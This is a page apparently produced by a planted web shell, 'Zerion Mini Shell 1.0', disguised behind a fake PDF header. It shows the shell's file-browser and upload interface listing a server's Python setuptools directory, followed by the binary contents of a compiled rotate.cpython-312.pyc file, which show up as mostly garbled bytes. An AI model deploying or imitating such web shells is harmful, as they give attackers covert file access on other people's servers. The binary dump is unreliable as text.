%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/setuptools/command/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/setuptools/command/__pycache__/rotate.cpython-312.pyc

�


_�d1��Z�ddlmZddlmZddlmZddlZddlZddlm	Z	Gd�de	�Z
y)�)�convert_path)�log)�DistutilsOptionErrorN)�Commandc�2�eZdZdZdZgd�ZgZd�Zd�Zd�Z	y)�rotatezDelete older distributionsz2delete older distributions, keeping N newest files))zmatch=�mzpatterns to match (required))z	dist-dir=�dz%directory where the distributions are)zkeep=�kz(number of matching distributions to keepc�.�d|_d|_d|_y)N)�match�dist_dir�keep)�selfs �;/usr/lib/python3/dist-packages/setuptools/command/rotate.py�initialize_optionszrotate.initialize_optionss����
���
���	�c��|j�td��|j�td��	t|j�|_t|jt�rE|jjd�D�cgc]}t|j����c}|_|jdd�y#t$r}td�|�d}~wwxYwcc}w)NzQMust specify one or more (comma-separated) match patterns (e.g. '.zip' or '.egg')z$Must specify number of files to keepz--keep must be an integer�,�bdist)rr)r
rr�int�
ValueError�
isinstance�str�splitr�strip�set_undefined_options)r�e�ps   r�finalize_optionszrotate.finalize_optionss����:�:��&�*��
��9�9��&�'M�N�N�	K��D�I�I��D�I��d�j�j�#�&�;?�:�:�;K�;K�C�;P�Q�a�,�q�w�w�y�1�Q�D�J��"�"�7�,D�E��	�	K�&�'B�C��J��	K��Rs�B<� C�<	C�C�Cc���|jd�ddlm}|jD�]G}|jj	�dz|z}|t
jj|j|��}|D�cgc]#}t
jj|�|f��%}}|j�|j�tjdt|�|�||jd}|D]r\}}tjd|�|j r�)t
jj#|�rt%j&|��^tj(|��t��Jycc}w)N�egg_infor)�glob�*z%d file(s) matching %szDeleting %s)�run_commandr#r
�distribution�get_name�os�path�joinr�getmtime�sort�reverser�info�lenr�dry_run�isdir�shutil�rmtree�unlink)rr#�pattern�files�f�ts      r�runz
rotate.run+s������$���z�z�	%�G��'�'�0�0�2�S�8�7�B�G�������d�m�m�W�=�>�E�7<�=�!�b�g�g�&�&�q�)�1�-�=�E�=��J�J�L��M�M�O��H�H�-�s�5�z�7�C��$�)�)�+�&�E��
%���1������*��|�|��w�w�}�}�Q�'��
�
�a�(��	�	�!��

%�	%��>s�<(E0N)
�__name__�
__module__�__qualname__�__doc__�description�user_options�boolean_optionsrr r9�rrrr
s(��$�F�K��L��O��
F� %rr)�distutils.utilr�	distutilsr�distutils.errorsrr(r2�
setuptoolsrrrArr�<module>rFs#��'��1�	�
��4%�W�4%r

Zerion Mini Shell 1.0